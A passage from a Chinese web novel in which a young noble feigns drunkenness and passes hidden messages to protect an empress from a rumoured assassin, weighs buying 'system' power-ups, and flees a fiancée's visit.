但求陛下,在处置臣之前,允许臣在宫中留宿几晚!就让臣…远远地守着您就行!等过几日,臣…臣立刻自请外放,永世不回京城!”
他说话间拼命眨眼,希望女帝能明白他的意思。
“你…你…”
萧璇月指着他,见到他拼命眨眼,好像在暗示什么,顿时冷静下来。
难道这家伙酒醉和表白是装的?
她本就聪明,同时感受到几道神识扫过,于是冷声道:
“江凡,你可知你已有婚约在身?周家小姐温婉贤淑,你如此行事,将置她于何地?又将朕置于何地?”
无论真假,这戏要配合他演下去。
江凡心中暗喜,女帝没有立刻翻脸,就是明白了他的暗示!
他连忙痛心疾首地道:
“陛下!臣与周小姐,实乃父母之命,并无真情!臣之心,日月可鉴,唯有陛下一人!
至于陛下…陛下乃九五之尊,臣不敢有丝毫亵渎之心!只求能远远守护,于愿足矣!”
他故意把‘守护’两个字加重语气,萧璇月立即听出弦外之音。
御书房内陷入了一片诡异的寂静。
只有烛火燃烧的噼啪声,和两人略显急促的呼吸声。
就算猜到江凡是演戏,但这些表白话听在耳中,心脏还是不争气的狂跳。
该死!
这混蛋也不知道对多少女子说过类似的话,竟如此顺口!
良久,萧璇月才缓缓开口:
“罢了…念在你今日酒后胡言乱语,虽有失仪,但也没什么歹心。”
她顿了顿,仿佛下了很大决心,
“既然你如此‘忠心’,朕便准你所请。云暮,”
“奴婢在。”云暮悄无声息地出现。
“带江世子去‘凝香苑’偏殿安置,让他好好醒酒。”
凝香苑偏殿?
江凡心中一动,那地方他住过,距离女帝的寝宫‘凤仪宫’,直线距离大概…一百八十丈左右?
女帝这是…默许了?
“臣!谢主隆恩!陛下万岁万岁万万岁!”
江凡心中狂喜,面上却一副感激涕零的模样。
“滚吧!朕不想再看到你这副嘴脸!”
萧璇月没好气地挥挥手,转过身去,似乎不想再看他。
江凡如蒙大赦,连忙跟着云暮,低眉顺眼地退出了御书房。
直到走出宫门,被夜风一吹,他才感觉后背已被冷汗湿透。
这戏演得…太刺激了!
女帝应该不会当真吧?
只要能迷惑敌人,以为自己真的就是酒醉找女帝胡言乱语来的。
……
御书房内,听到江凡脚步声远去,萧璇月才缓缓转过身,绝美的脸庞上红晕未消,眼神复杂难明。
这个江凡究竟搞什么名堂?
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借着酒醉,然后跟自己表白,最后就为了住在宫里?
难道他发现了什么危险,但现在不方便说?
可自己心跳加快是怎么回事?
不久后,云暮返回,轻声道:
“陛下,江世子已安置妥当。”
萧璇月‘嗯’了一声,沉默片刻,忽然问道:
“云暮,你觉得…这小子今晚,唱的到底是哪一出?”
她的声音带着一丝困惑。
云暮沉吟了一下,谨慎答道:
“世子言行虽略显…荒唐,但奴婢观其神色,那份担忧之意,不似完全作伪。他装醉,又…以这种看似荒唐的方式请求留宿宫中。
奴婢斗胆猜测,世子…或许是真的得知了什么风声,却又无法明言,故而用这种方式,来…保护陛下。”
她将自己的观察和盘托出。
萧璇月娇躯微微一震,美眸中闪过一丝了然。
云暮的分析,与她心中的猜测不谋而合!
以江凡如今展现出的心机和实力,若真想对她不利,有的是更隐蔽更高明的手段,何必用这种自毁名声、漏洞百出的方式?
他甘愿冒着被治罪的风险,用这种近乎无赖的方法留在宫里。
最大的可能,就是察觉到了某种危险,却又因消息来源或其他限制无法直言,只能用自己的方式,近距离守护!
想通了这一点,萧璇月心中一暖。
这个看似玩世不恭的小子,竟然在用自己的方式保护她?
虽然方法蠢了点,但这份心意…
她的脸颊再次微微发烫,语气却故作平静:
“哼,算他还有点良心!不过,朕需要他保护?真是笑话!”
云暮看着陛下那口是心非的模样,心中暗笑,忍不住又多了一句嘴:
“陛下,世子虽然方法…独特,但这份心意,实属难得。他如今已是宗师高手,智计百出,有他在宫中,或许…真能防患于未然。”
萧璇月没有反驳,只是轻轻‘哼’了一声,算是默认。
她走到窗边,望着凝香苑的方向,夜色中,那片宫殿只有零星灯火。
那个家伙,现在在做什么?
就在这时,云暮忽然跪了下来,神色郑重。
“云暮,你这是做什么?快起来!”
萧璇月讶然。
第117章 注定不平静
云暮没有起身,抬头看着萧璇月,眼中充满了真诚和决然:
“陛下,奴婢有些…逾越本分的话,憋在心里很久了,今日不吐不快,请陛下恕罪!”
萧璇月看着自己这个情同姐妹的贴身侍女,心中一软,柔声道:
“你我之间,何须如此?有什么话,但说无妨。”
云暮深吸一口气,鼓足勇气道:
“陛下!您登基已近三载,夙兴夜寐,为国操劳,至今中宫空悬,帝君未立!国本不稳,朝野非议!
以往,奴婢觉得,天下男子,无人能配得上陛下!但如今…奴婢觉得,江世子…或可考虑!”
萧璇月闻言,俏脸‘唰’地一下红透,心脏不受控制地狂跳起来!
她万万没想到,云暮会说出这番话!
她下意识斥道:
“胡闹!他、他已与周家小姐有婚约!岂能…岂能…”
“陛下!”云暮打断她,语气坚定,
“世子与周小姐的婚约,本就是**联姻,世子本人多次表示不愿!若陛下有意,一道旨意便可解除!
普天之下,莫非王土!率土之滨,莫非王臣!陛下若看中世子,乃是镇国公府天大的荣耀!谁敢有异议?况且…”
她顿了顿,声音压低,
“世子才华绝世,修为高深,更难得的是对陛下的一片赤诚!若得世子为帝君,必能成为陛下擎天臂助,共保大夏江山永固!奴婢是真心为陛下着想啊!”
萧璇月被云暮这番话震得心神摇曳,一时竟不知如何反驳。
帝君…江凡…这两个词在她脑海中不断碰撞。
她不得不承认,云暮的话,句句说到了她心坎里。
那个少年,不知从何时起,已在她心中占据了特殊的位置。
他的玩世不恭,他的惊才绝艳,他今日的‘笨拙’守护…都让她无法忽视。
最主要的是,大臣们已经提了很多次,让她早点选个帝君成婚,留下皇嗣。
“可是…他、他对朕…”
萧璇月声音微涩,带着一丝忐忑,
“他方才那些话,谁知是真是假?或许…只是他接近朕的借口?”
云暮看着陛下那罕见的小女儿情态,心中又是好笑又是心疼,轻声道:
“陛下,真与假,时间自会证明。但陛下您…方才为何准他住在凝香苑?那地方,可是离凤仪宫最近的殿宇了。陛下您…其实心里,也是愿意他离得近些的吧?”
萧璇月猛地怔住,如遭雷击!
是啊…
自己方才,为何下意识就指定了凝香苑?
为何没有将他打发到更远的角落?
难道…在自己心底,竟也是期待着他的靠近吗?
这个认知,让她心慌意乱,又带着一丝隐秘的甜意。
她转过身,背对着云暮,强作镇定道:
“休得胡言!朕…朕只是觉得那地方闲置着也是浪费!此事…容后再议!你退下吧!加强宫中戒备,没有朕的吩咐,任何人不得靠近凝香苑!”
“是!奴婢遵旨!”
云暮知道陛下需要时间消化,不再多言,躬身退下。
御书房内,重归寂静。
萧璇月独自站在窗前,望着窗外沉沉的夜色,玉手轻轻按在自己狂跳的心口,绝美的容颜上,一抹红霞久久不散。
江凡…你这个小混蛋…到底…给朕下了什么蛊?
今日的话,朕差点就当真了...
而此刻,凝香苑偏殿,陈设简洁,一灯如豆。
江凡盘膝坐在榻上,看似在闭目调息,实则全副心神都沉浸在两件事上:
一是以自身为中心,小心翼翼地将感知蔓延至方圆两百丈的每一个角落,不放过任何一丝异常的气息波动;
二则是分出一缕心神,沉入系统空间之内。
他不敢从系统空间取出任何纸笔实物——殿外檐角、廊下阴影中,至少有三道若有若无的气息笼罩着这片区域,那是皇宫暗卫或供奉在执勤。
任何微小的异动都可能引来不必要的关注。
【系统,兑换‘清心凝神丹’x3!】
心中默念,人气值悄然扣除。
三颗的丹药出现在系统空间。
他服用一颗,顿觉因高度集中精神而带来的疲惫感一扫而空,心神愈发明澈。
是时候更新《深宫秘恋》了!
既然无法明示刺客之事打草惊蛇,那就用‘预言’的方式,进行最隐晦的警示!
他心念电转,用心神在空间内奋笔疾书:
“最新章回:凤仪宫夜惊魂,小**贼胆包天?大内藏龙卧虎,陛下洪福齐天!”
书中,他编造了一个略显滑稽却又暗藏机锋的故事:
一名自恃轻功高绝的小**贼,夜入深宫,意图行窃,
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结果刚摸到凤仪宫外墙根,就被恰好巡逻经过的大内高手发现,一番追逐后,贼人被生擒活捉。
故事最后,借角色之口感慨:
“皇宫大内,看似平静,实则步步杀机,龙潭虎穴!陛下真龙护体,自有百灵庇佑,然宵小之辈,防不胜防,仍需万分警惕!”
他刻意模糊了**贼的实力和目的,重点突出了皇宫不安全和需加强戒备的暗示。
他希望女帝看到这话本,能从中品出一丝不寻常的意味,提高警惕。
同时,这种小事件也不会引起靖王和刺客的过度警觉。
【作品检测中…完整性符合要求,审核通过。】
【开始随机生成复刻本(3000份),投放至京城及周边区域,优先投放至关键人物附近…投放中…】
看到复刻本数量提升到三千,江凡心中一喜。
人气传播越快,他积累实力、兑换底牌的速度也越快!
做完这一切,他继续凝神警戒。
然而,整整一夜,整个皇宫平静得令人窒息。
那预料中的刺杀,并未发生。
江凡非但没有放松,心情反而更加沉重。
暴风雨前的宁静,往往最为可怕。
那个大宗师巅峰的刺客,如同潜伏在暗处的毒蛇,耐心极佳,不动则已,一动必是雷霆万钧!
他一日不现身,江凡就一日不敢离开女帝左右!
这简直是一种煎熬!
天色微明,江凡睁开眼,眼底带着一丝疲惫。
他换上官服,准备参加早朝。
今日,注定不会平静。
……
金銮殿上,百官肃立。
女帝萧璇月端**,威仪天成。
她的目光扫过下方,在经过站在武官队列末尾、耷拉着脑袋的江凡时,微微停顿了一下。
想起昨夜他那番‘表白’,以及后来云暮分析的‘保护之意’,她心中不禁泛起一丝微澜,脸颊有些发烫。
连忙移开目光,用平静的语气开口道:
“众卿平身。有本启奏,无本退朝。”
“臣有本奏!”
话音刚落,一名御史台的官员便迫不及待地出列,手持玉笏,声音洪亮,带着几分义正辞严:
“陛下!臣要参镇南大将军、镇国公江撼岳一本!”
殿内顿时一静!
所有目光都聚焦过来。
第118章 掩饰的交流
江凡猛地抬起头,睡意全无,看向那名御史,眼中已经喷出火来。
我爹杀你全家了啊?
女帝凤眸微眯,不动声色:
“哦?李爱卿要参镇国公何事?”
那李御史朗声道:
“陛下!镇国公江撼岳,奉命征讨南疆叛军,虽擒获匪首,然其未经朝廷准许,擅自将缴获之巨额金银财宝、粮草军械,尽数分发麾下将士,充作军饷!
此乃目无朝廷、僭越专权之大罪!国库空虚,边饷拖欠,乃国之大事,理应由陛下与户部统筹划拨!
镇国公如此行事,置朝廷法度于何地?置陛下天威于何地?臣恳请陛下,下旨严查,追回赃款,并治镇国公擅权之罪!”
此言一出,不少官员纷纷附和,尤其是几个与靖王走得近的官员,更是言辞激烈,仿佛江撼岳犯了十恶不赦之罪。
江凡听得怒火中烧,双拳紧握,恨不得立刻冲上去给那满口喷粪的御史几个大耳刮子!
老爹在前线拼死拼活,朝廷连军饷都发不出,好不容易有点缴获给兄弟们发了饷,稳定了军心。
这帮蛀虫在后方屁事不干,还敢跳出来**?
真是岂有此理!
他正要出列反驳,却听龙椅之上,女帝清冷的声音已然响起,带着一丝威严:
“李爱卿此言差矣!”
众人皆是一愣。
萧璇月目光扫过下方群臣,语气转厉:
“南疆叛乱,生灵涂炭!镇国公临危受命,率军平叛,将士们浴血奋战,方有今日大捷!
然而,尔等可知,边军粮饷已拖欠数月之久?将士们饥肠辘辘,衣不蔽体,如何杀敌?如何保境安民?!”
她猛地站起身,凤威凛冽:
“镇国公缴获叛军资财,第一时间用于犒劳三军,发放欠饷,稳定军心,此乃因地制宜、顾全大局之举!何错之有?
难道要眼睁睁看着数万将士因缺饷而哗变,让叛军死灰复燃吗?尔等食君之禄,不思为君分忧,不为前线将士着想,反倒在此苛责功臣,是何居心?”
她一番话,掷地有声,说得那李御史和几个附议的官员面红耳赤,哑口无言。
江凡心中一阵畅快,看向女帝的目光中多了几分感激。
这位女帝,关键时刻,还是明事理的!
不枉老子拼着危险进宫保护你!
萧璇月平息了一下怒气,目光转向江凡,语气缓和了些许:
“镇国公忠心体国,朕心甚慰。其子江凡,此次随军南下,亦有献策、擒贼之功。朕决定,擢升江凡为…御前四品带刀侍卫,即日上任,随侍朕之左右!”
御前侍卫?
还是四品?
群臣哗然!
这晋升速度,简直如同坐火箭!
但想到江凡此次的功劳,似乎也说得过去。
只是…让一个‘纨绔’当御前侍卫?
还每天跟在女帝身边?
这…
不少人眼神变得古怪起来,尤其是联想到近日流行的话本中,关于‘女帝与侍卫’的种种香艳桥段…
这是话本小说走进现实的节奏?
江凡自己也愣住了。
御前侍卫?
这…虽然方便保护,但以后岂不是更没有自由?
他本想低调潜伏,这下可好,成了全场焦点!
但他此刻不能拒绝,只得硬着头皮出列谢恩:
“臣…谢主隆恩!定当竭尽全力,护卫陛下周全!”
仔细想想,御前侍卫的身份,倒是能名正言顺跟在女帝身边。
等刺客抓到,再找女帝换个职位也不迟。
退朝之后,江凡跟着女帝来到了御书房。
他必须尽快、更直接地提醒女帝关于刺客的事情,朝堂上那帮蠢货的**只是小插曲,真正的危机还在暗处。
御书房内,檀香袅袅。
批阅了一会儿奏章,萧璇月似乎有些倦了,放下朱笔,对侍立一旁的云暮道:
“云暮,取朕的丹青来。朕今日有些心绪不宁,作画静心。”
“是,陛下。”
云暮很快备好了笔墨纸砚。
萧璇月铺开宣纸,提起画笔,却有些心不在焉,寥寥几笔,画出的远山轮廓显得有些僵硬。
她微微蹙眉。
机会来了!
江凡眼中精光一闪,上前一步,躬身道:
“陛下,臣…臣闲暇时也曾胡乱涂鸦几笔,见陛下作画,心痒难耐,不知…能否让臣也献丑一试?”<
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br>他摆出一副跃跃欲试的纨绔模样。
萧璇月讶异地看了他一眼,这小子还会画画?
她心中一动,便点了点头:
“准了。让朕看看你的‘墨宝’。”
江凡接过画笔,深吸一口气,手腕疾动,笔走龙蛇!
只见他笔下的宣纸上,迅速出现一只…歪歪扭扭、蠢萌蠢萌的小鸡,正在啄食地上的几粒…说是米粒,更像石子!
整幅画构图简单,笔法…堪称幼稚!
“噗嗤——”
一旁的云暮实在没忍住,低笑出声,连忙捂住了嘴。
萧璇月也是看得哭笑不得,这画工…真是…独具一格!
她正要开口调侃两句,却见江凡画完最后一笔,突然快速在画纸空白处写下几个小字:
【陛下,臣有要事密奏!事关陛下安危!请保持镇定!】
萧璇月瞳孔骤然收缩!
所有戏谑的心思瞬间消失无踪!
她面上不动声色,甚至故意板起脸,呵斥道:
“江凡!你画的这是什么狗屁不通的东西!也敢在朕面前卖弄?真是辱没了这上好的宣纸!”
她一边说,一边迅速伸手,看似要夺过画纸撕掉,实则指尖飞快地在旁边写下:
【讲!】
江凡心中暗赞女帝机敏,连忙装作惶恐地抢回画纸,口中道:
“陛下息怒!臣…臣这就重画!这就重画!”
同时,他运笔如飞,在小鸡旁边快速写下:
【据可靠消息,靖王已雇大宗师巅峰刺客,擅易容,已混入宫中!目标陛下!消息来源绝密,无法验证,但宁可信其有!】
萧璇月看着那行小字,尽管早有心理准备,心脏仍是猛地一沉!
大宗师巅峰!
易容!
混入宫中!
每一个字都让她呼吸急促!
她强行压下翻腾的气血,脸上露出恨铁不成钢的表情,一把夺过画笔,在江凡的字旁边写道:
【朕已知晓,你有何打算?】
写完后,她故意指着画上的小鸡,提高声音道:
“你看看!朕教你!画禽鸟,当取其神韵!笔墨要…”
她一边说,一边继续在纸上写画,掩饰真正的交流。
第119章 没这么大胆
江凡凑过去,一副受教的模样,接过笔,一边在纸上胡乱添加几根草,一边写下:
【请陛下密令绝对可信之供奉,暗中戒备,万勿打草惊蛇!臣怀疑,宫中供奉或有被渗透之嫌!臣会寸步不离,见机行事!】
看到‘供奉或有被渗透之嫌’几个字,萧璇月眼中寒光一闪!
这并非不可能!
她深吸一口气,接过笔,写下最后一句:
【朕明白,万分小心,依计行事。】
写罢,她将画笔一扔,冷哼一声:
“朽木不可雕也!滚一边去!好好看,好好学!”
语气虽凶,但眼神交汇处,已达成默契。
江凡连‘讪讪’退后,心中长舒一口气。
这番画中密谈,总算将最关键的预警传递了出去,而且比昨夜那醉酒表白的方式高效、安全多了!
萧璇月坐回龙椅,看似继续作画,实则心潮起伏。
她迅速写下一道密旨,用眼神示意云暮。
云暮会意,悄无声息地上前。
萧璇月将密旨塞入她手中,低声道:
“即刻亲手交予‘影老’,令他依计行事,不得有误!此外,加派暗哨,严密监控所有供奉动向!”
“奴婢遵旨!”
云暮神色凝重,将密旨贴身藏好,躬身退出了御书房。
御书房内,只剩下江凡与女帝。
两人各怀心思,表面平静,暗地里却已是剑拔**张,只等那隐藏在暗处的毒蛇,露出獠牙的那一刻!
只是让江凡和女帝没想到的是,一连几日都风平浪静。
江凡皱起眉头,不知道是刺客察觉到了什么,还是柳絮的消息有误。
时光荏苒,转眼已是江凡入驻皇宫的第七日。
这七日,对于江凡而言,堪称度日如年。
白日,他需打起十二分精神,紧随女帝左右,参加朝会、巡视宫禁、甚至陪同批阅奏章。
夜晚,他则宿于凝香苑偏殿,看似安寝,实则依旧保持高度警惕,还要坚持更新话本。
或许因为住在皇宫的原因,女帝已经彻底相信他不可能是逍遥公子。
因为江凡没有时间,而每日的话本都在正常更新。
皇宫大内一如既往地秩序井然,巡逻的禁军步伐整齐,值守的太监宫女低眉顺眼,连一丝可疑的涟漪都未曾泛起。
这种诡异平静,非但没有让江凡感到安心,反而让他愈发焦躁不安。
那刺客越是能忍,说明其心性越是可怕,图谋越大!
他与女帝暗中商议、布下的天罗地网,仿佛一拳打在了棉花上,无处着力。
连续的神经紧绷和心神消耗,即便有系统丹药补充,也让他眉宇间难掩疲惫之色。
这护卫的差事,真不是人干的!
御书房内,烛火摇曳。
批阅完最后一本奏章,萧璇月放下朱笔,揉了揉微微发胀的太阳穴,目光掠过江凡,心中亦是复杂难言。
她自然清楚江凡连日来的辛苦与压力。
这个看似玩世不恭的家伙,在承担起守护职责时,所展现出的专注、谨慎,让她心生暖意。
他那些看似‘荒唐’的举动背后,藏着的是对她安危的真切担忧。
“江凡。”她轻声唤道。
“臣在!”江凡一个激灵,立刻躬身应道。
“随朕来。”
萧璇月起身,走向御书房内侧专供她小憩的暖阁。
江凡略一迟疑,还是跟了进去。
云暮悄无声息地守在暖阁门外。
暖阁内陈设雅致,香气清淡。
萧璇月在一张软榻上坐下,指了指旁边的绣墩:
“坐吧。此处没有外人,不必拘礼。”
“谢陛下。”
江凡依言坐下,腰杆依旧挺得笔直,目光警惕地扫过四周。
看着他这副模样,萧璇月心中微叹,开口道:
“这几日,辛苦你了。”
江凡连忙道:“护卫陛下,是臣的本分,不敢言辛苦。”
萧璇月微微摇头:
“朕知你心意。只是…这七日下来,宫中并无异动。或许…是那消息有误?又或者,是朕与你之前的布置,打草惊蛇,让对方暂缓了行动?”
她提出了两人心中的共同疑虑。
江凡沉吟片刻,道:
“陛下,消息来源…臣以为可信度极高。至于打草惊蛇…亦有可能。但臣更担心的是,对方耐心极佳,在等待最佳时机。或者他们的目标,并非仅限于宫中行刺?”
他想到靖王的老谋深算,总觉得事情不会那么简单。
萧璇月凤眸中寒光一闪:
“你的意思是…他们可能在策划更大的阴谋?
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比如…里应外合,逼宫?”
“不无可能。”江凡沉声道,
“靖王经营多年,党羽遍布朝野,军中亦有其势力。若他在外起事,宫内再有人配合行刺陛下,造成混乱,后果不堪设想。”
暖阁内陷入短暂的沉默。
“那你觉得…眼下我们当如何应对?”
萧璇月将决定权抛给了江凡,这无形中透露出极大的信任。
江凡心中快速权衡。
继续留在宫里?
对方按兵不动,自己耗在这里,不仅身心疲惫,也容易让对方摸清自己的行动规律。
而且镇国公府那边,姐姐一人在家,他也实在放心不下。
或许以退为进,反而能引蛇出洞?
想到这里,他抬头看向女帝,目光坚定:
“陛下,臣以为,与其在此被动等待,不若主动求变。”
“哦?如何求变?”
“臣…请求暂回府中一趟。”江凡道,
“臣离府多日,家姐定然担忧。且臣久在宫中,目标明显,或许反而让那刺客投鼠忌器。
臣若离宫,或可令其以为戒备松懈,从而露出马脚。当然,臣会在宫外密切关注,一旦有变,必第一时间赶来护驾!”
萧璇月深深看了他一眼,沉吟片刻,点了点头:
“也好。你离家多日,是该回去看看了。镇国公不在京中,府中事宜,还需你多费心。”
她顿了顿,语气带着一丝关切,
“你…自己也要多加小心。靖王知你坏他好事,恐会对你不利。”
听到女帝的关心,江凡心中微微一暖,拱手道:
“谢陛下关怀!臣自有分寸。倒是陛下您…臣离宫之后,万望保重龙体,一切小心!宫中的供奉…”
他欲言又止,暗示对宫中护卫力量的不完全信任。
“朕明白。”萧璇月颔首,
“朕自有安排。你放心去吧。”
她的话语中,带着一丝不舍。
“臣,告退!”
江凡起身,郑重行礼,转身欲走。
不过很快想起什么,突然对萧璇月说道:
“对了陛下,能不能先闭上眼睛?”
“你想做什么?”
萧璇月心中一凸,这家伙难道要送自己惊喜,还是想偷亲自己?
应该没这么大胆子才对...
第120章 解锁新物品
江凡挠挠头,有些不好意思的说:
“等会儿你就知道了。”
“好,朕倒要看看你想做什么。”
萧璇月闭上眼睛,心跳再次加快,心情也十分复杂。
既怕他不来,又怕他乱来。
很快,耳边就传来窸窸窣窣的声音,她就算闭着眼睛能知道,江凡在脱衣服。
“江凡!你、你在脱衣服吗?”
“咳咳咳,是的陛下,我很快就好...”
江凡一边说,一边将金丝软甲脱下来。
萧璇月脸色一黑,虽然没睁开眼睛,但语气已经带着怒气:
“很快就好?你在做什么奇怪的事情吗?”
江凡脸上的笑容一僵,差点没炸毛。
看不起谁呢....
不是,自己有这么无耻猥琐吗?
他赶紧穿好衣服,然后黑着脸说道:
“可以了陛下。”
这么快?
萧璇月睁开眼睛,看到江凡拿着一件薄如蝉翼的软甲,顿时愣住。
“这是什么...”
江凡只能扯谎:
“这叫金丝软甲,能抵挡极道宗师初期全力一击,极道宗师以下修为,可以化解大半功力。此乃我师傅送的保命神装,就送给陛下防身吧。”
没办法,女帝一死,他一家子肯定是靖王第一个清理的对象。
这几天积攒了一百多万人气值,回去还能兑换新的软甲。
萧璇月听到软甲的逆天防御能力,这东西有多贵重用脚趾头都能想到。
她的心再次被触动,这小子对自己还真是没话说...
她走到江凡面前,绝美的容颜上,竟带着几分柔和的光晕。
“你…将软甲穿回去吧。宫中守卫森严,朕身边还有云暮和暗卫。你在宫外,风险更大。”
江凡连忙摆手:
“陛下,宫中之险,远胜宫外百倍!陛下安危关乎社稷,此甲必须留在陛下身上!臣…臣自有保命手段,请陛下放心!”
看着江凡眼中的坚决和深切的担忧,萧璇月的心弦被狠狠拨动了一下。
那晚云暮的话在耳边响起,此时看江凡是越看越顺眼。
她张了张嘴,还想再说什么,但对上江凡那双清澈而执拗的眸子,最终化作一声轻叹:
“你…唉,罢了。朕收下你这份心意便是。你…一定要注意安全。”
“臣,遵旨!”
江凡再次躬身,这次不再停留,大步离开了暖阁。
萧璇月看着手中带着体温的软甲,脸上的红晕久久无法消散。
这时云暮走了进来,看到女帝手中的软甲,好奇询问。
听完解释,云暮有些吃惊的说道:
“极道宗师以下,化解大半功力?这真是保命的好东西,江世子对陛下真是天地可鉴...陛下,还不考虑收了他吗?要是的国公爷回来,只怕要给世子联姻了...”
“这...还是等镇国公回来再说吧。”
萧璇月有些羞涩,但现在要她表态,还是说不出口。
云暮笑了笑,她知道陛下对江凡还是有好感的。
能将如此贵重的保命神器给陛下,倒是不枉自己帮他说好话。
……
回到凝香苑偏殿,江凡简单收拾了一下。
看着系统中已经悄然突破一百万大关,并以每小时几千上万上涨的人气值,他心中涌起一股豪情和底气!
随着时间推移,每天人气值已经突破二十万收入,显然越来越多的人成为他的书迷。
【当前人气值:1,058,500/300,000】
一百万!
足以将他的修为从宗师中期,瞬间提升至宗师巅峰!
届时,他的战力将发生质的飞跃!
面对大宗师后期,也有一战之力!
甚至凭借诸多底牌,未必不能与大宗师巅峰周旋!
诱惑巨大!
他几乎忍不住要立刻兑换修为提升!
然而,就在他准备确认时,忽然瞥见了人气值商城列表最下方,因为人气值达标而新解锁的几栏特殊物品!
【陆地神仙体验卡(一次性)】:兑换需1,000,000点人气值。使用后,使用者暂时获得‘陆地神仙’境界修为,持续时间为半个时辰(一小时)。
体验结束后,无副作用。
警告:力量过于庞大,请谨慎控制,以免造成不可逆破坏。
【无敌领域(一次性)】:兑换需1,000,000点人气值。使用后,以使用者为中心,方圆三十丈(约100米)内形成绝对防御领域,持续一分钟。
领域内,使用者处于绝对无敌状态,免疫一切攻击(包括物理、能量、神魂攻击),并可意念操控领域内法则(需消耗大量神念),陆地神仙境以下闯入者必死,陆地神仙境闯入者亦会遭受重创!
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警告:领域范围固定,请确保敌人在领域内。
江凡的呼吸瞬间停滞!
陆地神仙体验卡?
无敌领域?
这可是传说中的境界!
超越极道宗师的至高存在!
虽然只是体验卡,只有半个时辰,但在这半个时辰内,他就是神!
就是天!
什么大宗师巅峰,什么千军万马,在他面前都是土鸡瓦狗!
而无敌领域,虽然只有一分钟,但绝对是绝境翻盘的终极底牌!
看着那高达一百万点人气值的兑换价格,江凡的心脏砰砰狂跳!
这价格,足以让他提升到宗师巅峰还有富余!
是选择稳稳当当提升一个大境界,还是赌一把,换取两张足以在关键时刻逆转乾坤的王牌?
巨大的抉择摆在面前!
提升修为,是实打实的实力增长,长远看更划算。
兑换体验卡和领域,则是瞬间获得远超当前层次的恐怖力量,但属于一次性消耗品,用过就没了。
怎么办?
江凡脑中飞速权衡利弊。
忽然,他眼中闪过一丝决然!
想到了那个隐匿在暗处、随时可能发动致命一击的大宗师巅峰刺客!
想到了老谋深算、势力盘根错节的靖王!
想到了未来可能面对的更多、更强的敌人!
宗师巅峰的实力,或许能自保,但未必能绝对保证女帝和家人的安全!
而一张‘陆地神仙体验卡’或一分钟‘无敌领域’,却可能是在必死之局中,唯一能撕开生路、反败为胜的希望!
“存人失地,人地皆存;存地失人,人地皆失!”
江凡脑中闪过这句兵法精髓。
人气值没了可以再赚,命没了就什么都没了!
必须保证在任何极端情况下,都有翻盘的终极底牌!
“决定了!”江凡狠狠一握拳,眼中精光四射,
“从今日起,必须时刻保证人气值余额不低于一百万!这一百万,就是我的‘战略威慑资金’!除非生死关头,绝不动用!平时提升修为,只用超出百万的部分!”
这就意味着,他暂时放弃了立刻晋升宗师巅峰的诱惑,而是选择了一种更稳健的发展路线。
虽然实力增长会慢一些,但底牌更厚,容错率更高!
下定决心后,他感觉心中一块大石落地,思路无比清晰。
第121章 大宗师之上
看着那令人眼热的一百万人气值,他强忍着兑换的冲动,将其视为不可触碰的‘保命基金’。
“咕噜噜…”
肚子传来一阵**声。
连续几日心神消耗巨大,确实饿了。
江凡摇摇头,正准备让人传膳,就听到殿外传来姐姐江芷兰的声音:
“凡儿!凡儿!你快出来!婉如妹妹来了!”
江凡:“!!!”
周婉如!
她怎么又来了?
他苦着脸,揉了揉太阳穴,哀叹一声:
“唉…这比对付大宗师巅峰的刺客还难搞啊…”
无奈,他只得硬着头皮走了出去。
镇国公府,花厅。
江凡硬着头皮走进来,一眼就看到姐姐江芷兰正陪着周婉如说话。
周婉如今日穿着一身鹅黄色的襦裙,薄施粉黛,更显得清丽脱俗。
江芷兰对这个弟媳妇是很满意的,知书达理,性格温婉,甚至觉得能看上弟弟,都是江凡修来的福分。
见到江凡进来,周婉如美眸瞬间亮起,站起身,盈盈一福,声音带着欣喜和一丝幽怨:
“江世子,你回来了。”
那眼神,温柔得能滴出水来,又带着几分几日不见如隔三秋的缠绵,看得江凡头皮发麻,浑身不自在。
他连忙拱手,挤出个干巴巴的笑容:
“周、周小姐来了,有失远迎,恕罪恕罪。”
江芷兰看着弟弟那副窘迫样,又是好气又是好笑,嗔怪地瞪了他一眼,对周婉如道:
“婉茹妹妹,你看他,回来也不知道先换身衣裳,一身汗味,真是失礼了。”
周婉如却毫不在意,反而柔声道:
“世子爷为国操劳,刚回府定然疲惫,是婉茹打扰了才是。”
她目光始终黏在江凡身上,轻声道:
“世子爷在南疆…一切可还安好?婉茹听闻那边兵凶战危,日夜担忧,如今见世子平安归来,真是太好了。”
说着,眼圈竟微微有些发红。
江凡最怕的就是这个,连忙摆手:
“没事没事!我好得很!吃得好睡得好,还胖了几斤呢!周小姐不必挂心!”
他试图用插科打诨蒙混过去。
江芷兰在一旁看着,暗自摇头。
她这个弟弟,在战场上智勇双全,怎么一遇到儿女情长就变成个榆木疙瘩?
她轻咳一声,岔开话题道:
“凡儿,你刚回来,想必也累了,不如陪婉茹妹妹去花园走走,说说话?姐姐去吩咐厨房准备晚膳。”
“别!别!”江凡一听要单独相处,差点跳起来,连忙道:
“姐!我…我还有点急事要出去一趟!约了…约了几个朋友在百花楼喝酒!对!喝酒!很重要!”
他情急之下,又把百花楼搬了出来当挡箭牌。
果然,江芷兰一听‘百花楼’三个字,柳眉倒竖,就要发作:
“你!你这刚回来就又去那种地方?!像什么话!”
谁知周婉如却轻轻拉住了江芷兰的衣袖,柔声道:
“芷兰姐姐,莫要动气。世子爷想必是去应酬。男人在外,总有些不得已的交际。只要…只要世子爷心中有分寸,知道回家就好。”
她说着,还偷偷看了江凡一眼,眼神中充满了理解和信任。
江芷兰被周婉如这番‘深明大义’的话给噎住了。
弟弟上辈子是救了周婉如全家吗?
这都能忍?
但周婉如性格好,她可接受不了弟弟这么堕落,于是指着江凡道:
“你呀你!婉茹如此待你,你…你真是…气死我了!罢了罢了!你爱去哪去哪!我不管了!”
说完,气呼呼地转身走了。
江凡看着姐姐的背影,又看看身边‘善解人意’的周婉如,心里那叫一个别扭加愧疚。
这姑娘…好是好,可这深情他实在消受不起啊!
他只能干笑两声,对周婉如道:
“那个…周小姐,多谢体谅。我、我真有急事,先走一步!改日…改日再向你赔罪!”
说完,几乎是落荒而逃。
周婉如看着他仓惶离去的背影,眼中闪过一丝失落,但很快又被更深的坚定所取代。
她轻轻握了握拳,低声道:
“江凡…我不会放弃的。精诚所至,金石为开…就算你是铁石心肠,我也要给你融化了...”
江凡逃也似地冲出花厅,先找到在偏院练剑的冷月寒,仔细询问了府中近日情况。
确认一切安好,姐姐安全无虞后,才稍稍放心。
他叮嘱冷月寒务必提高警惕,保护好姐姐,这才换了身便服,匆匆出府,直奔百花楼。
他现在急需从柳絮那里确认刺客的消息!
